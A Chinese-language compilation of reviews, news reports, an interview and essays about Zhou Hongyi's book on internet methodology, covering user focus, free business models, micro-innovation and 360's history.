周鸿？t自述？我的互联网方法论读后感

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篇1：周鸿t自述 我的互联网方法论读后感

周鸿t自述 我的互联网方法论读后感

读这本书，源于我们鼎翰李总的推荐，花了一个晚上和半个下午的时间读完。本书的用纸和排版和前段时间我看的《社交红利》颇为相似，特显高大上，最重要的是阅读感觉舒服。不能不否认读完周鸿t这本书，确实对他挺佩服的。虽然很多人骂他流氓。也如他其中一个章节书中说道：“很多产品经理很难忍受来自市场的各种用户的建议、正常的反馈、恶毒的攻击，因为他们没有一颗粗糙的心。所以要做到没心没肺。有时候我觉得自己也是没心没肺的，别人骂多了，我也就习惯了。从书中你可以发现他是一个追求极致的产品经理、他是旧规则的颠覆者、他是有利他之心的一个人、他是互联网时代的互联网思维的最大受益者，他是一个实践者，更是一个思考者。

周鸿t在书中写道：“其实仔细想一想，在这样一个快速变化的时代，每个企业其实都是传统企业。今天你觉得自己很先进，明天你一觉醒来就发现自己落后了。马云花了十多年的时间建立了支付宝，看起来牢不可破，然而春节腾讯发起的微信红包就对支付宝的统治地位形成了冲击。连马云都在焦虑，互联网圈子里其他人能不焦虑吗？面临互联网挑战的传统企业能不焦虑吗？”

首先分享一些简单有力的经营要点：

1. 用户不会在乎你的七大功能，八大特色，只要有一个功能可以打动他，可以解决它心中的痛，或者挠去他心中的痒，那你就有可能获得用户的信赖。也就是我们平时所说的深挖客户痛点，提出解决方案，让客户瞬间感觉到爽，将用户的体验简单到极致。

2. 用户总是第一位的，老毛也许是对的，深入群众看来确实是个“法宝”。 产品定位于为用户解决问题的工具。

3. 用户不会在乎你的后台用了什么先进的技术，而当开机时间突然降到了8s，他们可能会喜大普奔，交口称赞，口碑就这样建立起来了。

4. 任何商业模式的基础和核心都是产品 。商业模式包括产品模式，用户模式，推广模式，收入模式。

5.三个在产品设计时不一定正确的假设：第一，假设某个功能，用户一定需要；第二，假设某个功能用户一定知道它存在；第三，假设用户一定按照设计方式使用。即要像白痴般思考，像天才般行动。

6. 用户在用你的产品时，不要让用户思考，不要让用户纠结，不要让用户有心理负担。

7.当产品获得海量用户后，它的边际成本将趋于0，()然后通过广告或者服务的方式赚钱，就可以创造新的价值链。

8. 真正的创新就是颠覆和破坏。

9. 微创新有两点很关键，第一是小处着眼，贴近用户需求心理；第二要小步快跑，快速出击，不断试错。即微创新规律。

10.请记住齐白石那句话“学我者生，似我者死”。

其次，分享一下周鸿t书里的一些观点和方法论：

周鸿t人生三大价值观：

1、第一个价值观：看一个人是不是具备创新力。先看一点，是不是敢想敢干。

2、我的第二个价值观：在互联网里，做什么都不如做一个产品改变世界来得彻底。做出一些别人没有做出来过的产品，让这种产品能够影响很多人，能够改变很多人的生活，这样才值得尊敬，最大成功莫过于此，而不是你当了中国首富。前两个价值观的形成受《硅谷热》的影响。

3、第三个价值观，就是要与众不同。一定要和别人做得不太一样，甚至有时候要反着来，而不是随大流，什么时髦跟什么。其实，从市场竞争来说，这是一种差异化的竞争策略。从人文角度来说，你跟别人不一样，那你才有存在感呀。

互联网方法论的4大法则

1、用户至上。

传统经济的企业强调“客户是上帝”，即商家只为付费的'人提供服务。然而，在互联网经济中，只要用你的产品或服务，那就是上帝。因此，互联网经济崇尚的信条，是“用户是上帝”在互联网上，很多东西不仅不要钱，还把质量做得特别好，甚至倒贴钱欢迎人们去用。最近，有两个叫车软件打得不亦乐乎，乘客用软件成功下单，你敢给乘客5块，我就敢给10块。

很多传统企业都看不懂这种游戏规则，认为这倒贴钱的行为简直就是疯子。但互联网经济就是这样，如果不能汇聚海量用户，那就很难建立有效的商业模式。所以，在抢夺用户上，互联网公司是绞尽脑汁，使出十八般武艺，发展到极致就是像叫车软件这样看谁敢砸钱，看谁砸钱多。

第二，体验为王。

在没有互联网的传统时期，商家跟消费者之间的关系，是以信息不对称为基础。通俗地讲，买的没有卖的精。但是，有了互联网之后，游戏规则变了。他们鼠标一点就可以比价，而且相互之间可以方便在网上讨论，消费者变得越来越有主动权，越来越有话语权。今天，所有的产品高度同质化，但最后，你发现能胜出的决定性要素，其实是用户体验。

在互联网时代，如果你的产品或者服务做得好，好得超出他们的预期，即使你一分钱广告都不投放，消费者也会愿意在网上去分享，免费为你创造口碑，免费为你做广告，甚至你都变成了一个社会话题。如果你的产品在体验方面做得好，用户每天在使用它的时候都感知到你的存在，这意味着你的产品每天都在产生价值。

第三，免费的商业模式。

互联网上的商业模式总结起来无非三种。电子商务、广告和增值服务。但这三种商业模式，都有一个共同的前提，那就是必须要拥有一个巨大的、免费的用户群。在互联网上，只有拥有一个巨大的用户群作为基础，百分之几的付费率才能产生足够的收入，才有可能产生利润。

因此，互联网经济强调的，首先不是如何获取收入，而是如何获取用户。这正是传统厂商容易误读互联网的地方。很多厂商进入互联网的时候，一上来就想着怎么赚钱，简单地认为只要有了互联网的技术，有了互联网作为分销、推广平台，成功就会水到渠成。这样的认识一定会导致失败。

第四，颠覆式创新。

在互联网上，颠覆式创新非常多，也发生得非常快。一种是用户体验的创新，一种是商业模式的颠覆。商业模式颠覆，就是你把原来很贵的东西，能想办法把成本降得特别低，甚至能把原来收费的东西变得免费。什么叫用户体验的创新？也就是你把一个过去很复杂的事变得很简单。

电子商务部：张丽

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篇2：周鸿伟自诉我的互联网方法论的读书笔记

周鸿伟自诉我的互联网方法论的读书笔记

比较认同里面的一个观点，什么叫创新力，“评判一个人有没有创新力，先看一点，是不是敢想敢干。”每个人都应该在自己的领域里面做些与众不同的事情，我们和别人不一样，那才有我们的存在感。

我们可以打败一个人，打败一个公司，唯一不能打败的就是趋势。然而，更多时候，没有人能够准确预判趋势。我们一直看到白天鹅，不代表黑天鹅就不存在了，只是我们没有发现而已。有时候，我们和那些畜牧场里面的火鸡一样，吃完睡，睡完吃，觉得这就是生活，明天太阳一样生起。可是殊不知，也许今晚就被人宰了，总是有一些边缘力量在蠢蠢欲动，说不定哪天就把我们的正常生活给颠覆了。

互联网的核心是产品体验，所谓的战略布局都是马后炮的事情，用户认可是因为我们确实帮助他们解决了问题。一旦我们开始着手改善用户体验，那就是创新的开始。

商业模式并不是盈利模式，商业模式应该包含四个方面：产品模式，用户模式，推广模式，最后才是收入模式。所谓商业模式就会你提供什么样的产品，给什么样的用户创造什么样的价值，在这个过程中怎么样去获得商业价值，其实，最核心的是用户价值，当你提供强大的用户价值以后，商业价值随之而来。

互联网的盈利模式主要有三种，第一个是互联网卖东西，包括电子商务，互联网金融，O2O。第二个是依靠广告收入。第三个就是以网游为代表的增值服务。

颠覆式创新不是敲锣打鼓来的，而是隐藏于噪声之中。代表了一个趋势，但是你通常看不到，看不懂。除了发明，主要的创新模式应该包括商业模式的创新和用户体验的创新。Google当年被认为是青少年用来搜黄色图片的，百度也不过是民工用来下载mp3的工具，很多颠覆式创新都有一个不忍直视的开始。

逆向思维是一个很重要的竞争思维，面对强大的对手，一定不要按照他的节拍跳舞，否则死路一条。ARM从来不和谁比计算能力强，而是比功耗低，从低端市场做起，现在英特尔反过来要学习实现低功耗。

所谓欲练此功，必先自宫。自己来操刀革命，刀子在自己手里，等待别人操刀，只有死路一条。

“文化是我们每一个人遇到一件事，脑子里出来的本能反应--是非标准，善恶判断。”从这个角度判断，我们就很容易判断我们身边是否有创新的文化氛围。面对一个新事物，我们是从反对鄙视角度去看他，还是鼓励角度。

篇3：互联网焦虑催生周鸿t天价午餐会

7月25日讯近日，360公司董事长兼CEO周鸿t的首本署名著作《周鸿t自述：我的互联网方法论》通过众筹方式正式发布，昨天，每单金额达29999元的北京、上海10人午餐会项目先后售罄，目前众筹总金额已超过76万，有望成为京东众筹首张百万大单。

私密午餐会项目内容主要包括周鸿t北京、上海两地1对9私密午餐会， “转型与颠覆：互联网思维风暴”周鸿t分享会VIP入场券1张，以及周鸿t新书300册等。7月10日，周鸿t新书众筹目刚一上线，便因该项目29999的天价而备受争议。“大家还是喜欢免费的午餐，这样的天价能卖出去吗？”当即就有网友在京东众筹页面下留言。

但结果却大大出乎了众人的意料，自上线以来该项目一直以平均每天1-2单的速度，在众筹时间刚刚过半的情况下，抢先售罄。

天价午餐会为何如此火爆？有业界人士分析，这和周鸿t个人身份以及近几年不断攀升的互联网焦虑有关。

周鸿t，对于中国的互联网行业和中国互联网用户来说绝不陌生。他曾任职方正集团，后创立了3721并任雅虎中国总裁，他创立了360公司，将“互联网免费安全”这一理念普及到千家万户，也由此让360拥有了超过4亿的用户。可以说，周鸿t既是中国互联网第一代老兵，有着在互联网摸爬滚打多年的丰富经验，又是互联网二次创业的成功代表，紧跟潮流，再次抓住了移动互联网时代的发展机会。与此同时，周鸿t提出的“微创新”，用户体验时代来临，互联网必须免费的理论体系，在业界影响很深，也使他成为广为推崇的互联网导师。

周鸿t的这些互联网方法论，正是目前很多企业所需要的。如今正处于一个变革时期，可以说互联网改变了一切，尤其是移动互联网发展，改变了人们的生活，却在经济领域引发了一股互联网焦虑，

新兴企业在寻找新的发展窗口，传统企业也意识到危机临近，希望通过变革来重造辉煌。如何才能在新的战场，去理解新的游戏规则，甚至去建立游戏规则？

周鸿t的带来的正是这样一剂良药，正如周鸿t在新书中所说，“在这个互联网的时代，你需要一点互联网思维，但不是那个越来越成为玄学的互联网思维，而是一个回归常识的互联网方法论。”

据出版方中信出版社介绍，新书《周鸿t自述：我的互联网方法论》不但是周鸿t生平第一本署名著作，也是老周来互联网创业心得的精粹辑要，更是互联网颠覆式创新的秘籍大起底。在本书中，周鸿t首次讲述了自己的互联网观、产品观和管理思想，厘清了互联网产品的本质特征和目前互联网时代的新趋势，列举了颠覆式创新在现实中的实践和应用，透露了360多年来的成功秘籍。

本书是写给互联网的创业者、从业者一本最接地气、最直白的实战指南，也是写给那些处在转型期的传统行业的重要解决方案，有助于他们在这个复杂多变的时代中颠覆自我、掌控未来。

在大众等待新书的同时，有不少高端人士更希望和周鸿t进行亲密接触，由他亲自传授互联网秘籍。如果说巴菲特的午餐火爆，是因为 “股神”的光环。那此次周鸿t天价午餐会的迅速售罄，也反映出互联网变革的大形势下，企业家迫切希望得到更多有实践意义的指导，帮他们拨开互联网迷雾。

虽然午餐会已经抢购一空，但其他项目，仍然在京东众筹平台上进行招募(网址:z.jd.com/project/details/194.html)，其中包括刘强东等神秘大佬参加的“转型与颠覆：互联网思维风暴”互联网(北京/上海)分享大会入场券和递交商业计划书一份，获得 360团队和周鸿t本人的专业点评与合作的机会。

据了解此次众筹和其他周鸿t新书所得的所有版税收入，将定向捐赠给远征军老兵，目前已经筹到76万的资金，众筹时间将一直持续到08月09日

篇4：周鸿t：互联网企业后劲儿最重要

周鸿t

中国互联网战场上的“老兵”，出了名的“斗士”，行业内数得上名的大佬，他几乎都“交过手”，被竞争对手称为“坏孩子”、“流氓”的他，使免费杀毒成为行业标准。他是奇虎360公司董事长兼CEO，周鸿t。

网络产业仍有人口红利

新京报：全球经济的不景气目前似乎并没有影响到中国的互联网领域，你是否这样认为?

周鸿t：全球经济目前对中国互联网领域的影响不大，一个主要原因是目前互联网的潜力还没有发挥出来。中国互联网的人口覆盖率为36.2%，与发达国家相比仍然有比较大的差距。这说明中国互联网仍然存在人口红利。从各方面来看，互联网对中国经济的发展做出的贡献是巨大的。

新京报：今年有多家互联网公司在美国上市，但之后中国概念股遭遇寒流。你觉得中国互联网公司明年还有赴美上市的好行情吗?

周鸿t：中国概念股在美国遭遇寒流，原因有很多。其中，有少数害群之马，通过反向收购实现海外上市，然后通过造假账制造虚假收入和利润蒙骗投资者。这在世界任何一个资本市场都是不能容忍的。

我建议计划上市的互联网企业，不要过多考虑大势好不好，首先要对自己的基本面有信心，对自己的商业模式有信心，泥沙俱下，但掩饰不住珍珠的光芒。

搜索细分市场已发展起来

新京报：今年在中国互联网领域发生了一些冲突，比如体现在阿里巴巴(微博)的股东之间的冲突(VIE事件)，用户与公司的冲突(淘宝受围攻)，你如何看待?

周鸿t：对于业界的事情，我不想过多评论。但我想，大家一定要用发展的眼光去看互联网的发展。今天的互联网公司可能并不像美国同行那样完美，但是大家一直都在进步。

新京报：你是中国互联网领域最早做搜索的。你觉得搜索市场是否还有机会?

周鸿t：我一直强调，颠覆搜索的一定不是另一个搜索框，颠覆IM的一定不是另一个IM。我不敢妄断搜索市场有没有机会，但是现在搜索的细分市场已经发展起来，比如一淘网、微博搜索等。

期待更多电商企业上市

新京报：的中国互联网界，电商和团购都在大规模烧钱，你如何看这两个领域的发展状况?

周鸿t：中国互联网发展这么多年，你可以看到，任何一种创新的模式，要在市场竞争生存下来，必须要有规模的融资做支持，在竞争过程中出现一些泡沫是正常的，

电商是近几年创新很多的领域，比如，以前我们觉得淘宝的C2C就已经把电子商务做到极致了，没想到出来一个京东商城。我们以为京东商城把B2C做到极致了，没想到又出来一个团购。

每一种电商模式都是一种创新，我认为无论是B2C、C2C还是团购，在都会有更大的发展，我也期待有更多的电子商务企业成功上市。

树敌很多从不后悔

新京报：在许多人看来，360在市场有很多敌人。360的免费策略打破了网络安全市场原有的利益格局。这是不是360“树敌较多”的根本原因?

周鸿t：俗话说，干什么也别断别人的财路。360为了保护用户，切断了黑灰色势力的利益链条，其实就是断了别人的财路，因此不断招致各种利益集团的抹黑和攻击。360在安全领域的崛起，最开始不是靠技术有多高，而是有勇气，胆量够大，打击流氓软件的肆虐，不怕得罪人。坚持用户至上的代价，就是树敌多。但我们从来不后悔。

新京报：11月4日，你和京东商城的刘强东获得了“安永企业家奖”，在获奖的13个中国企业家中，你们两人属于互联网领域，你怎么看待这一现象?

周鸿t：我觉得这样的奖项能颁发给我和刘强东这样不经包装、敢于直言的企业家，说明中国互联网对创业者越来越宽容。新一代的互联网创业者不甘平庸，敢于颠覆，心怀梦想，愿意努力去改变世界。我认为这个奖项是对中国新一代互联网创业者的认可。

新京报：在当今中国互联网领域，哪家公司你最为尊敬?

周鸿t：丁磊、陈天桥和张朝阳。他们有个性，都是要追求自己的梦想，不受外界噪音的干扰。比如，丁磊养猪，不管外界怎么说，就为了实现一个目标愿意去养猪。陈天桥一心想建立一个网络迪斯尼，并为这个目标一直在努力，我觉得这正是我尊敬他们的地方。

■ 同题问答

我愿意投资到环保领域，帮助普通百姓鉴别地沟油、残留农药、地下水等。

最担心招不到业内最好的人才

Q：如果你在20有可自由支配的5亿元资金，你愿意投到哪个领域?

A：投到环保领域，比如说建立一个公益的环保监测实验室，帮助普通百姓鉴别地沟油、残留农药、地下水等。

Q：如果你个人有500万闲置资金用于私人投资，在年你愿意投资房地产还是股市?

A：我对这两个领域都不熟悉，而且除了挣钱之外也不会产生社会价值，我不会投资房地产和股市。我更愿意投资到我熟悉的领域，比如说互联网创始公司。

Q：2012年，你最担心发生的事情是什么?

A：现在市场竞争很激烈，对人才的竞争也很激烈。我最担心的是招不到行业内最好的人才。

本版采写/本报记者 林其玲 摄影/本报记者 赵亢

篇5：周鸿t：好的互联网产品是运营出来的

在互联网领域创业的人越来越多，但究竟怎样才能打造出成功的互联网产品，一直存在着理解的误区，也困扰着很多创业者，

从我个人多年的实践中，我认为互联网产品有几个容易被忽视的特点：第一，互联网产品要有一个灵魂，要符合相关领域的游戏规则，能打动用户的心。如果这一点没做好，产品外观做得再华丽，后台再强大，也很难成功。打动用户的心，这好像是废话，但也最质朴，很多产品其实不是在真正满足用户需求，而是在发明或幻想用户需求，甚至逆着用户需求在做。像国内很多SNS网站都模仿Facebook，尽管很像，但都不太成功，而开心网摸对了用户的脉，中国互联网用户上SNS实际是以开心、娱乐为主，简单、容易上手、好玩的小游戏就打动了用户。

第二，互联网产品需要不断运营、持续打磨，好产品是运营出来的，不是开发出来的。而传统的软硬件产品都有个物化的载体，不可能经常改，比较稳定。互联网产品的本质是服务，就是通过某种形式的桥梁和窗口把服务传递给用户，由于用户的需求不断在变，产品就要随时调整。早些年微软的Windows XP比较成功，因为在传统软件时代，用户需求不多，厂商很容易能了解到；到了互联网时代，闭门造车出来的Vista就不可避免的失败，用户需求变化太快了，厂商对此没有把握。

产品一定是让人去用的，不断根据用户反馈去修正。现在很多人都在讲“以用户和市场为中心”，但实际上还是“以公司为中心”，

我曾经看过一家大公司的内部报告，说要做一个IM产品打败腾讯，说可以为自身带来什么价值，可以整合内部产品等，但从头到尾没有涉及能为用户创造何种价值。这种出发点必然决定失败的结局。

我认为自己做客户端的资历比马化腾要深，但如果真的做一个IM产品，在产品细节和技术上可能比他做得好，但很难比他成功。我们俩的背景不一样，我做传统软件出身，而腾讯的创业团队是从做传呼的润迅出来的，之前就在做服务，这一点给了马化腾很大的帮助。这是一个分水岭，马化腾很早就掌握了互联网产品的规律，把它当成服务来做，持续改进。

无论你的想法高明与否，我认为都不如用户的选择高明。有了任何想法，不要奢望做到完美再推向市场，不如先简单地做出一点点，就拿到市场上做实验，一旦对了就迅速跟进，一旦不对调整的成本也很低。把用户作为试金石，集小胜为大胜。

从前面两点可以推出第三个特点，大家都说产品要做到专注和极致，对于互联网产品我感觉是“伤其十指，不如断其一指”。在产品方向上，一定要先学会做减法，而不是做加法。要先找对一个点做到极致，否则你什么功能都做，最后都不突出，没有鲜明的卖点。

如果你掌握了互联网产品的规律，可能你不用太多的人力，只要瞄准用户的需求点，同时在技术开发方面，采用“小步快跑，循序渐进，不断试错”的思路，我觉得就有可能会超过大公司。

篇6：周鸿t：互联网产品秘籍 集小胜为大胜

很多人都在讲“以用户和市场为中心”，但实际上还是“以公司为中心”，不能为用户创造价值，

在互联网领域创业的人越来越多，但究竟怎样才能打造出一种成功的互联网产品，一直存在着理解的误区，也困扰着很多创业者。

从我个人多年的实践中，我认为互联网产品有几个容易被忽视的特点：第一，互联网产品要有一个灵魂，要符合相关领域的游戏规则，能打动用户的心。 如果这一点没做好，产品外观做得再华丽，界面再漂亮、后台再强大，也很难成功。打动用户的心，这好像是废话，但也最质朴，很多产品其实不是在真正满足用户 需求，而是在发明或幻想用户需求，甚至逆着用户需求在做。像国内很多SNS网站都模仿Facebook，尽管很像，但都不太成功，而开心网摸对了用户的 脉，中国互联网用户上SNS实际是以开心、娱乐为主旨，简单、容易上手、好玩的小游戏就打动了用户。

第二，互联网产品需要不断运营、持续打磨，好产品是运营出来的，不是开发出来的。而传统的软硬件产品都有个物化的载体，不可能经常改，比较稳 定。互联网产品的本质是服务，就是通过某种形式的桥梁和窗口把服务传递给用户，由于用户的需求不断在变，产品就要随时调整。早些年微软的Windows XP比较成功，因为在传统软件时代，用户需求不多，厂商很容易能了解到;到了互联网时代，闭门造车出来的Vista就不可避免的失败，用户需求变化太快 了，厂商对此没有把握。

像Google所有的产品，每过一段时间都会有小的改变，这是做互联网产品的思路：产品一定是让人去用的，不断根据用户反馈去修正，

现在很多人 都在讲“以用户和市场为中心”，但实际上还是“以公司为中心”。我曾经看过一家大公司的内部报告，说要做一个IM产品打败腾讯，说可以为自身带来什么价 值，可以整合内部产品等，但从头到尾没有涉及能为用户创造何种价值。这种出发点必然决定失败的结局。

我认为自己做客户端的资历比马化腾要深，但如果真的做一个IM产品，在产品细节和技术上可能比他做得好，但很难比他成功。我们俩的背景不一样， 我做传统软件出身，而腾讯的创业团队是从做传呼的润迅出来的，之前就在做服务，这一点给了马化腾很大的帮助。这是一个分水岭，马化腾很早就掌握了互联网产 品的规律，把它当成服务来做，持续改进。

无论你的想法高明与否，我认为都不如用户的选择高明。有了任何想法，不要奢望做到完美再推向市场，不如先简单地做出一点点，就拿到市场上做实 验，一旦对了就迅速跟进，一旦不对调整的成本也很低。把用户作为试金石，集小胜为大胜。腾讯今天非常成功，它的商业模式难道是马化腾一天想出来的吗?肯定 不是，最初就是一个简单的聊天工具，打动了用户的交友需求。

从前面两点可以推出第三个特点，大家都说产品要做到专注和极致，对于互联网产品我感觉是“伤其十指，不如断其一指”。在产品方向上，一定要先学会做减法，而不是做加法。要先找对一个点做到极致，否则你什么功能都做，最后都不突出，没有鲜明的卖点。

如果你掌握了互联网产品的规律，可能你不用太多的人力，只要瞄准用户的需求点，同时在技术开发方面，采用“小步快跑，循序渐进，不断试错”的思路，我觉得就有可能会超过大公司。

篇7：周鸿祎我的互联网思维

现在一些传统行业受到互联网的冲击，所以非常希望了解互联网的运行规律。于是，互联网思维似乎成了灵丹妙药，成为先进生产力、先进文化的代表。但仔细想一想，在这样一个快速变化的时代，每个企业其实都是传统企业。今天你觉得自己很先进，明天你一觉醒来就发现自己落后了。举一个例子，马云花了十多年的时间建立了支付宝，看起来牢不可破，然而春节腾讯发起的微信红包就对支付宝的统治地位形成了冲击。连马云都在焦虑，互联网圈子里其他人能不焦虑吗?面临互联网挑战的传统企业能不焦虑吗?

微软前任首席执行官曾对谷歌嗤之以鼻，觉得那就是一帮毛孩子为搜黄色图片做的一个玩意儿。但今天谷歌在互联网上已¬彻底地击败了微软。面临着移动互联网的冲击，微软也不得不宣布向手机和平板电脑厂商免费提供视窗操作系统，来抵抗谷歌的安卓操作系统。

其实，互联网已干掉了很多行业。它是一个价值的创造者，但它首先是一个价值的毁灭者，它在毁灭很多传统的商业模式，谁离互联网最近，互联网就先毁灭谁。在毁灭的同时，它再去建立新的商业模式。但请读者们不要误会，我这里说的“毁灭”是一个形象的比喻，并不是真的把你彻底消灭了，而是说你被边缘化了，你的收入不再上升了，你的商业价值和商业地位在萎缩。

比如，我曾在一些场合说互联网摧毁了报纸，我立马就成了千夫所指的对象。总编们纷纷表示：我们还活得好好的，报纸还能卖，还有广告收入。但你看，无论你在电梯里，还是在地铁里，几乎每个人都拿着一部手机在看新闻，而不像前人手一份报纸在读。

同样，3年后电视台一定会有紧迫感。今天的《爸爸去哪儿》《中国好声音》，看起来好像是一个节目组还必须依托于一个电视台，但中国的年青一代已经不看电视了，他们看什么都在网上看。我预计电视机的开机率会进一步下降，即使智能电视都很难对抗人类贪图便宜、方便的本性，因为人们坐在床边看手机，坐在马桶上看平板电脑，都比看电视更方便。将来出了一档很好的节目，它会直接跟优酷或者爱奇艺合作，观众很快会有上亿，节目的制作人可以直接分享广告收入。一旦这种趋势形成，电视台的意义何在呢?

再说另一个被互联网冲击的领域——制造电视机的大厂。过去电视机大厂互相竞争，一个是电视机部件的标准之争，比如等离子、LCD(液晶显示器)、LED(发光二极管)之争，另一个是价格战。电视机大厂打价格战是有底线的，不管怎么打电视机总是要赢利的。但现在，一帮互联网行业的野蛮人冲进来了，没有任何底线。对他们来说，卖电视机不再是一个生意。他们把电视机零利润出售，或者亏本卖给用户，然后电视机变成了他们和用户之间的一个接口，他们会用互联网的服务来挣钱，比如卖游戏、卖会员资格。传统的电视机大厂会玩吗?有能力玩吗?

雷军的小米手机为什么对传统的手机厂商形成这么大的冲击?很多人都以为我是雷军的敌人，其实不是。我很早就认识到小米手机的毁灭性。小米的模式其实特别简单，就是我常讲的互联网硬件免费的概念。也就是说，它的手机会卖得很便宜，性价比会很高，因为它不再把卖硬件看成一个孤立的生意。大家用手机看大片、玩儿游戏，看大片会产生广告收入，玩儿游戏可能会付费。所以，小米手机一出来，我就认为会对中华酷联靠卖硬件赚利润的模式产生很大的冲击。

当时我给这些手机厂商讲了互联网的很多道理，现在来看其实就是什么是互联网思维。但很可惜，没有人能理解，觉得这是危言耸听。所有的人都看不起小米，都觉得老周在开玩笑。但互联网的发展速度比他们想象的要快得多。今天，几乎所有的手机厂商都建立了独立的互联网手机品牌，也试图模仿小米玩儿饥饿营销、粉丝文化。但我可以说，这些都是皮毛，是表象。

从小米对手机的冲击，乐视对电视的冲击，再联想到之前互联网对音乐、媒体、影视、电商的冲击，我们可以看到一个公司规模越大，业务越成功，它在面临互联网冲击的时候可能就越危险。360算是试水互联网思维最早的企业之一。，360开始进入互联网安全领域，到初成为中国第一大互联网安全公司，打败了瑞星、金山以及国外的传统安全厂商。其实，大公司失败不是因为愚蠢，实际上它们有很多聪明的人才，而往往是因为自大。大公司看不懂新的模式，所以凭借老经验，对新生的事物报以嘲笑;但即使看懂了新的模式，它们又因为不愿意放弃既有的业务收入而错失转型的良机，而这给了小公司足够的发展时间和空间。以360为例，刚进入安全领域的时候，360不像大企业那样有实力，更不是安全专家。但360没有任何历史包袱，它从出生开始，全部基因都是新的，它的产品一开始就是面向云的，是互联网化的。它的营销是互联网化的，创造出了“督导委员”这样的粉丝文化，让用户参与到产品的开发和设计中来，让用户帮助360持续完善产品。360那时候没有钱做广告投放，但能成功利用社会热点进行营销，用很低的成本把信息传递到用户那里。

今天，你必须得承认一个事实，传统的PC(个人电脑)互联网已经成为过去完成时，甚至今天以手机为核心的移动互联网也未必代表了未来。在这样的新互联时代，怎样才能把新来的用户群成功地转移到新的竞争战场?更重要的是，怎样才能在新的战场上理解新的游戏规则，甚至建立游戏规则?

具体而言，你是不是还像以前那样，认为搞互联网免费就是疯子，是傻子?你是不是还像以前那样，搞出八大亮点、十大功能，然后重金投入软文、广告进行地毯式轰炸?你是不是还像以前一样，跟顾客一手交钱一手交货，就再也不想与顾客打交道了?你是不是还像以前一样，做出来一款产品说不上哪儿好，也说不上哪儿不好，然后差不多就供货了。

如此等等，还有很多，问题是，你是不是感觉哪儿出了问题，但是好像又看不出来哪里有问题。是啊，按照传统的经验来判断，哪里都没有错，但是你可能没感觉到，这个时代在发生变化。

这个时代是互联网的时代，你需要互联网思维，当然不是那种越来越成为玄学的互联网思维，而是一种回归常识的互联网思维。

篇8：周鸿祎我的互联网思维

周鸿祎谈互联网思维 用户至上不是空洞标语

360公司董事长周鸿祎新书《周鸿祎自述：我的互联网方法论》发布会在北京举行，这本被行业人士冠以“互联网思维第一书”的作品，在刚刚上市就售出10万册。在发布会现场，360公司董事长周鸿祎发表演讲，他认为，在互联网时代用户至上才是硬道理，只有找准用户的刚性需求，才能获得更多的用户的支持。待用户量壮大，获得收益是迟早的事情。因此作为企业来说，切勿让“用户至上”成为企业的空洞标语。

周鸿祎在演讲时指出，360是试水互联网思维最早的企业之一。，360开始进入互联网安全领域，到初成为中国第一大互联网安全公司，颠覆了传统网络安全的商业模式。而之所以能获得成功，就是因为找准了用户的刚性需求。在互联网发展初期，流氓软件横行，而普通用户对此束手无策，而免费安全的理念出现后，自然获得了广大网民的欢迎，用户量也因此水涨船高，此后360才能建立起基于免费安全的商业模式。

相比互联网企业，传统企业拥有的是客户，而非用户，更缺乏海量的用户基础。周鸿祎认为，传统行业可以在一个小地域划分出一块市场，再把它守住。但在互联网时代，想固守一块市场、一个客户群是非常困难的事情，大成者甚少，死掉者居多。因此有很多企业赢利模式特别明确，却由于过早挣钱，反而不能做大。

“用户至上”四个字贯穿了周鸿祎的整场演讲。他指出，不要让用户至上成为依据空喊的口号，也不要成为企业通用的标语。用户至上是能否找到真正的刚性需求，有没有魄力为用户少挣两个亿的收入，从而赢得更多用户的肯定，这才是对用户至上最好的诠释。

在周鸿祎的演讲过程中，现场座无虚席，气氛非常热烈。由于内容非常精彩，演讲过程被观众的掌声中断多次。由于演讲时间比较长，更有热心粉丝为周鸿祎送上矿泉水。原定1个小时的演讲在观众的要求下数次延期，直至结束很多观众依旧意犹未尽，在现场迫不及待的交流心得体会。

另据了解，在新书发布会前，中信出版社、京东和360公司联手发起了针对本书的众筹活动。活动上线仅3天，就达到了100%完成度。截止8月9日众筹项目结束，总金额突破160万元，打破出版物众筹的最高纪录，也刷新了京东众筹上线后的单项目点赞和关注人数的历史纪录。

除此之外，《周鸿祎自述：我的互联网方法论》上市一周销量就突破十万册，这个成绩在中国企业家出版历史上是绝无仅有的。

周鸿祎演讲经典语录：

我一直坚信如果有一天谁颠覆了360，我希望是自己公司的小孩，是我培养的。要么是外面的创业者，是我投资的。我觉得公司被颠覆，行业新陈代新是一种交替，我不希望市场、用户永远被一个公司长期垄断，从70年代到00后的年代，还是一帮互联网的老同志和大家讲互联网，这是不对的。

我经常说我最大的遗憾就是我结婚了，要不然我什么时候也弄个90后的妹妹搞点绯闻，一个绯闻就值几亿的广告，基本上公关部就不需要了。

我写这本书的原因很简单，因为确实中国很多企业家包括一些伟大的企业家都病了，这种病就叫做互联网焦虑症。过去在他们眼里互联网是一帮小屁孩搞得泡沫经济，只知道烧VC的钱，互联网离自己远着呢。

很多企业在规划产品的时候都不可能一上来就高瞻远瞩，我也是走一步看一步，一步步推演过来。你连产品的问题都没解决，你连用户都没有呢，你就在那里琢磨赚钱，就像你还是一个七、八岁的孩子就琢磨入洞房，我觉得你有点操之过急。而且我在中国见到最最可笑的事情，就是收到很多商业计划书，不客气的讲，有很多计划书上来就和我谈模式，说老周，我这个模式既不是B2B，也不是B2C，而是被B2B2C2B，我一听就晕菜了

篇9：周鸿t：360未来成为怎样的一家互联网公司

人就是用户价值，地就是商业价值，这个道理对所有互联网公司都是适用的。

前一段时间，中概股做空机构Citron企图做空360的股票，这件事也促使我们进行反思。360首创“免费安全”的理念，在此基础上建立的商业模式在全球都是绝无仅有的，被海外誉为互联网的中国模式。因为在美国找不到对应的参照物，而360的股价一直表现不错，如果从善意的角度去理解，Citron看不明白，于是它采取有罪推定的思维模式，觉得这里面肯定有问题，有可以做空牟利的空间。这说明，关于360的商业模式，或者360未来成为怎样的一家互联网公司，在这方面我们还要加强与海外投资者的沟通。

360的未来是什么?今天，360拥有超过3.7亿用户，用户渗透率达到89%，同时也形成了完整的产品体系，这为360成为有影响力的平台公司奠定了基础。我的希望是，360未来会发展成为具有影响力的、开放的、有助于产业生态环境健康发展的互联网平台公司。

首先，平台是新产品、新业务、新模式成长的土壤。平台公司通过提供一种普遍服务，从而获得了海量的用户，其品牌和产品体验能够对用户产生很强的影响力。这种普遍服务可以是即时通讯，可以是搜索，可以是安全。平台公司每时每刻都能产生巨大的流量，而这些流量就是新业务、新产品和新商业模式成长所需要的阳光、空气和水。这对于创业公司来说尤其重要。我相信斯坦福商学院的那句话：小公司才是推动社会发展进步的动力，互联网的创新动力，是来自于小的创业公司，而不是大公司。

